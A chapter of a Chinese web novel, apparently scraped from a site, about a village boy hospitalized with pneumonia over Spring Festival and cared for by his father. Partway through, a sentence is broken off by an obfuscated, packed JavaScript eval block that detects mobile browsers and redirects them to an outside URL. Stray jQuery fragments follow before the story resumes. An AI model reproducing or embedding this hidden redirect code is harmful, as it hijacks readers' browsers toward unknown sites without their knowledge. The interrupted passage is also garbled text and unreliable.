50.医院里的年味


    腊月二十三，小年的鞭炮声刚刚响过，整个村子就像被撒了一把糖，空气里都是甜丝丝的味道。村东头的老槐树下，几个半大孩子正抢着没炸响的小鞭，掰开来用香火点着玩，“刺啦”一声，迸出一簇耀眼的火花。狗娃趴在窗台上，鼻子贴着冰凉的玻璃，看院子里大人们忙进忙出。屋檐下的冰溜子像水晶帘子似的垂下来，在阳光下闪着细碎的光，有的足有二尺来长，尖尖的像老鹰的喙。


    “狗娃，帮妈把芝麻递过来！”母亲的声音从厨房传来，伴随着油锅“滋啦滋啦”的响声，一股浓郁的麻油香味弥漫开来，勾得人肚里的馋虫直往外爬。狗娃慢吞吞地从炕上爬起来，突然觉得脑袋沉甸甸的，像是有人往里面灌了铅。他揉了揉发酸的眼睛，走到厨房门口就停住了——灶台前围满了邻居婶婶们，她们麻利地搓着麻花，金黄色的面条在她们手中翻飞，像一群欢快的小蛇。案板上已经堆起了一座小小的“金山”，炸好的麻花金灿灿的，撒着白芝麻，散发着诱人的香气。


    “这孩子，愣着干啥呢？”四婶扭头看见他，脸上的皱纹笑成了一朵菊花。她手上的银镯子随着搓麻花的动作叮当作响，和锅里的油花爆裂声应和着，奏出一曲年的序章。狗娃张了张嘴，却觉得喉咙干得冒烟，像塞了一把沙子。他默默把装芝麻的碗放在门边的凳子上，又缩回了自己的炕角。炕烧得太热了，他的后背渗出一层细密的汗珠，可手脚却冰凉冰凉的，仿佛不是长在自己身上。窗外，父亲和隔壁高伯伯正在沙土里炒花生，铁铲翻动的“沙沙”声混着花生的焦香飘进来，要是往常，狗娃早就蹿出去等着吃第一锅了，还要偷偷抓一把烫手的花生塞进兜里，留着慢慢吃。


    傍晚时分，父亲带着一身烟火气进屋，粗糙的大手里攥着几颗还带着余温的花生。“喏，刚炒好的。”他把花生塞进狗娃汗湿的手心，突然皱了皱眉，“手咋这么凉？”狗娃感觉父亲的手掌贴上了自己的额头，那粗糙的触感让他想起去年冬天摸过的老树皮。父亲的手心很热，像个小火炉，烘得他额头发烫。


    “有点烫啊。”父亲的声音飘忽忽的，狗娃看见他棉袄袖口沾着的花生皮正随着动作轻轻抖动，像几只停歇的蝴蝶。父亲转身出去了，不一会儿拿着几片白色的药片回来，还端着一杯温水，“先把药吃了，明天还不好就去卫生所。”狗娃就着温水吞下药片，苦味在舌尖蔓延开来，他皱紧了眉头。父亲从口袋里摸出块冰糖塞进他嘴里，甜味渐渐化开，冲淡了苦涩。他忽然想起前天下雪时，自己光着膀子跑到院子里撒尿的情景。那天夜里真冷啊，月光照在雪地上像撒了一把盐，他提着裤子往回跑时，冷风像小刀子似的往骨头缝里钻。现在想来，许是那会儿就着了凉。


    第二天狗娃的烧不但没退，反而变本加厉了。他感觉自己变成了一锅煮沸的粥，咕嘟咕嘟冒着泡，浑身酸痛，尤其是肚子右侧，像是有人在那里打了个死结，越挣越紧。父亲用体温计给他量体温时，水银柱像匹脱缰的野马，直冲到39度的标记处。狗娃迷迷糊糊看见父亲的脸突然变得煞白，连常年被晒得黝黑的脖子都失去了血色。母亲急得在屋里直转磨，手里的抹布掉了都没察觉。


    “得去县医院。”父亲的声音很沉，像是从很远的地方传来。他一把将狗娃裹进厚厚的棉被里，只露出张红通通的小脸。母亲急匆匆地往布袋里塞着东西——毛巾、水壶、干粮，还有狗娃最爱吃的芝麻糖。


    去县医院的路上，狗娃蜷缩在父亲自行车后座，脸贴着父亲的后背。父亲的老棉袄散发着淡淡的烟草味和汗味，随着蹬车的动作，他听见父亲的心跳声越来越重，像村里打谷场上的连枷声，一下一下敲在他的耳膜上。寒风裹着细雪粒子扑在脸上，狗娃把滚烫的脸颊更深地埋进父亲的后背，那里有一块被汗水浸湿的痕迹，正慢慢扩大。路边的田野白茫茫一片，偶尔有几只麻雀在雪地里跳跃，寻找着被雪覆盖的草籽。狗娃觉得眼皮越来越重，父亲的背影在视线里渐渐模糊，只剩下那一起一伏的节奏，像艘小船在波浪中前行。


    县城的街道比村里宽敞多了，铺着柏油的路面被清扫得干干净净，露出黑黢黢的本色。偶尔有汽车驶过，溅起细碎的雪沫。路两旁的商店门口都挂起了红灯笼，贴上了春联，喜庆的年画上，胖娃娃抱着大红鲤鱼笑得眼睛眯成了一条缝。狗娃勉强睁开眼，看见这些热闹的景象，却提不起一点精神。


    医院的走廊长得望不到头，消毒水的气味刺得狗娃鼻子发酸。穿着白大褂的护士脚步匆匆，推着叮当作响的小车从一个房间到另一个房间。候诊椅上坐满了人，有个小孩在哇哇大哭，母亲抱着他轻轻摇晃，哼着不成调的摇篮曲。穿白大褂的医生听完症状，突然笑了：“小娃娃火力壮，大冬天光膀子往外跑？”他冰凉的手按在狗娃肚子上时，狗娃打了个哆嗦。那双手像能透视似的，在某个位置突然停住：“这儿疼不疼？”狗娃点点头，感觉有只无形的手在肚子里翻搅，疼得他倒吸一口冷气。


    “受了风寒高烧不退，肺炎，得住院观察。”医生的话像锤子一样砸在父亲心上。狗娃看见父亲的手抖了一下，然后紧紧攥成了拳头，指节泛出青白色。


    病房里摆着四张铁架床，油漆剥落的地方露出锈迹，像老人手上的老年斑。靠窗的床位已经住了个中年男人，正捧着搪瓷缸子喝热水，热气把他的眼镜片蒙上一层白雾。见他们进来，男人友善地点点头，露出被烟熏黄的牙齿。父亲把狗娃安顿在最里面的床位，护士来输液时，狗娃看见针头在阳光下闪着冷光，下意识往父亲怀里缩了缩。


    “不怕，一下子就好。”父亲的声音很轻，粗糙的大手捂住狗娃的眼睛。针尖刺入皮肤的瞬间，狗娃咬紧了嘴唇，没让自己哭出来。冰凉的液体顺着血管流进身体，他忍不住打了个寒颤。


    “马上过年了，咱们爷俩就在这儿将就几天吧。”父亲说着从编织袋里掏出家里带来的棉被，熟悉的太阳味道混着医院的消毒水味钻进狗娃的鼻子。那是母亲经常晒的被子，每到晴天，她就会把被子搭在院里的铁丝上，用藤拍啪啪地拍打，震起细小的灰尘在阳光中飞舞。输液管里的液体一滴一滴落下，狗娃数着数着就睡着了，梦里全是家里炸麻花的香味，还有姐姐追着他喂饺子的笑声。


    年三十那天，狗娃的烧退了些。窗外的天色阴沉沉的，像蒙了层灰布。临床的大叔一早就出院了，临走时还塞给狗娃两个苹果，红彤彤的，像两个小灯笼。空荡荡的病房里只剩下父子俩，安静得能听见输液管里液滴落下的声音。父亲趁着狗娃睡午觉时回了趟家，回来时拎着的布袋子鼓鼓囊囊的，还带着室外的寒气。


    “你妈炸的麻花，还有你姐包的饺子。”父亲从袋子里掏出一个个铝饭盒，最后神秘兮兮地从怀里摸出个小纸包，“你王奶奶给的芝麻糖，说让你甜甜嘴。”狗娃捧着还带着父亲体温的芝麻糖，突然发现父亲棉袄袖口沾着面粉，想必是回家帮忙包饺子时蹭上的。他想象着一向笨手笨脚的父亲学着包饺子的模样，嘴角忍不住向上翘了翘。


    夜幕降临时，县城里的鞭炮声此起彼伏地响起来。父亲在医院的院子里也放了一挂小鞭，狗娃被突如其来的“噼啪”声惊醒时，正梦见自己在家门口放“窜天猴”。他迷迷糊糊看见父亲站在窗前，玻璃上结着厚厚的冰花，把外面的灯火折射成模糊的光斑。父亲的身影投在墙上，被拉得很长很长，几乎要碰到天花板。那一刻，狗娃觉得父亲像棵大树，能够为他挡住所有的风雨。


    “爸...”狗娃哑着嗓子喊了一声。父亲转过身，脸上带着狗娃从没见过的表情，像是把遗憾和强装的欢喜揉碎了拌在一起。他走过来坐在床沿，粗糙的手指拂过狗娃的额头：“退烧了。明天你姐说要来看你。”


    病房的灯管嗡嗡作响，在白色墙壁上投下青冷的光。父亲和衣躺在狗娃身边，单人床发出不堪重负的吱呀声。狗娃蜷缩在父亲怀里，听见外面零星的鞭炮声渐渐稀疏，最后只剩下寒风拍打窗户的声响。父亲身上有淡淡的烟草味，还有从家里带来的、几乎察觉不到的麻油香气，狗娃深吸一口气，把这味道牢牢记住。在这个陌生的地方，这是唯一让他安心的气息。


    大年初二中午，姐姐带着邻居家的小金突然出现在病房门口。小金穿着崭新的红棉袄，辫子上扎着鲜艳的头绳，像一团跳动的火苗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413780|183542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。“狗娃！狗娃！”她蹦蹦跳跳地跑到床前，从棉袄口袋里掏出一把瓜子，“我家炒的，可香了！”狗娃看见瓜子壳上还沾着炒制时的细沙，想必是小金急着来医院，没顾得上洗干净手。


    姐姐放下沉甸甸的布包，从里面取出一个搪瓷缸子：“妈熬的梨汤，趁热喝。”温热的梨汤滑过喉咙，狗娃尝出了蜂蜜的甜味，还有一丝若有若无的中药苦味。姐姐的手冻得通红，指关节处裂着细小的口子，她一边看着狗娃喝汤，一边絮絮叨叨说着家里的琐事：灶王爷的糖瓜被老鼠偷吃了，王伯伯家送来半扇猪头，后院的腊梅开得正好，香气飘满了整个院子...


    他们走的时候，狗娃扒着窗户往下看。姐姐的红围巾在灰蒙蒙的医院院子里格外显眼，小金蹦蹦跳跳地跟在她身后，突然回头朝楼上挥了挥手。狗娃不确定她们能不能看见自己，还是使劲挥了挥胳膊。窗台上的积雪融化了又冻住，形成一层薄薄的冰壳，狗娃的手指贴在上面，刺骨的凉意让他打了个激灵。他看着那一红一小的身影消失在医院大门外，心里突然空落落的。


    初五早晨，医生来查房时笑容满面：“小男子汉恢复得不错嘛！”他摘下听诊器，金属听头在狗娃胸口留下一小块冰凉。父亲忙着收拾行李，把零零碎碎的东西塞进那个已经磨损的编织袋。狗娃坐在床边晃荡着腿，突然发现自己的棉裤短了一截，露出细瘦的脚踝——住院这几天，他竟然长个儿了。这个发现让他既惊讶又欣喜，仿佛疾病带给他的不全是痛苦。


    出院那天阳光特别好，街上的积雪开始融化，屋檐下的冰溜子滴滴答答地落着水珠，像在演奏一支欢快的曲子。父亲在街口的熟食店前停下，称了半斤酱牛肉。深红色的牛肉切成薄片，纹理分明，散发着诱人的香气。狗娃趁父亲付钱时，偷偷捏起一片牛肉塞进嘴里，咸香的肉汁在舌尖爆开，他满足地眯起眼睛，感觉这是世界上最美味的食物。父亲扭头看见他偷吃，笑着揉了揉他的脑袋，那笑容比阳光还要温暖。


    回家的路上，自行车轮子碾过泥泞的雪水，溅起细小的水花。狗娃搂着父亲的腰，看见路边的柳树枝条已经泛出淡淡的青色，在阳光下像笼着一层薄薄的绿烟。春天就要来了，狗娃心想，等河开了冻，就能去捞小鱼了。村口的老杨树下，几个孩子正在放鞭炮，“啪”的一声脆响后，淡蓝色的硝烟在阳光下袅袅升起，慢慢散入清澈的天空。


    远远望见自家烟囱里冒出的炊烟，狗娃突然觉得鼻子发酸。那缕灰白色的烟歪歪扭扭地升上天空，像在写着什么字。院子里晾晒的被单在风中轻轻摆动，像在向他们招手。隔壁周婶第一个发现他们回来，隔着矮墙就喊起来：“狗娃回来啦！”这一嗓子像是打开了什么开关，左邻右舍纷纷从屋里探出头来，脸上都带着笑意。


    母亲从厨房跑出来，围裙上还沾着面粉。她一把将狗娃搂进怀里，狗娃闻到她头发上的油烟味，还有衣服里裹着的、厨房特有的温暖气息。姐姐站在门槛上笑，手里还攥着没来得及放下的擀面杖。奶奶拄着拐杖慢慢走过来，往狗娃兜里塞了把花生糖：“病好了就得甜甜嘴。”花生糖有些化了，粘在糖纸上，狗娃却觉得这是世界上最好吃的糖。


    阳光透过玻璃窗照进屋里，在青砖铺的地面上画出一块明亮的方格。狗娃坐在门槛上，看着院子里来来往往的邻居们。父亲正和几个叔叔说着什么，时不时发出爽朗的笑声；母亲在厨房里忙活，锅铲碰撞的声响伴着饭菜的香气飘出来；姐姐蹲在墙角喂鸡，金色的玉米粒从她指缝间漏下，像一串小小的流星。这一切平凡而熟悉的景象，此刻在狗娃眼中却显得格外珍贵。


    狗娃摸了摸口袋里已经有些融化粘手的花生糖，突然明白了一些事情。年味不只是麻花的香气、鞭炮的响声和新衣服的鲜艳，更是家人围坐在一起的温暖，是父亲宽厚的后背，是母亲熬的梨汤，是姐姐带来的瓜子，是邻居们的问候。无论身在何处，只要心中有爱，就有年的味道。屋檐下的冰溜子“啪嗒”一声掉在地上，摔得粉碎，在阳光下闪着细碎的光，像撒了一地的星星。狗娃眯起眼睛，感受着阳光照在脸上的温暖，心中充满了对新年的美好期待。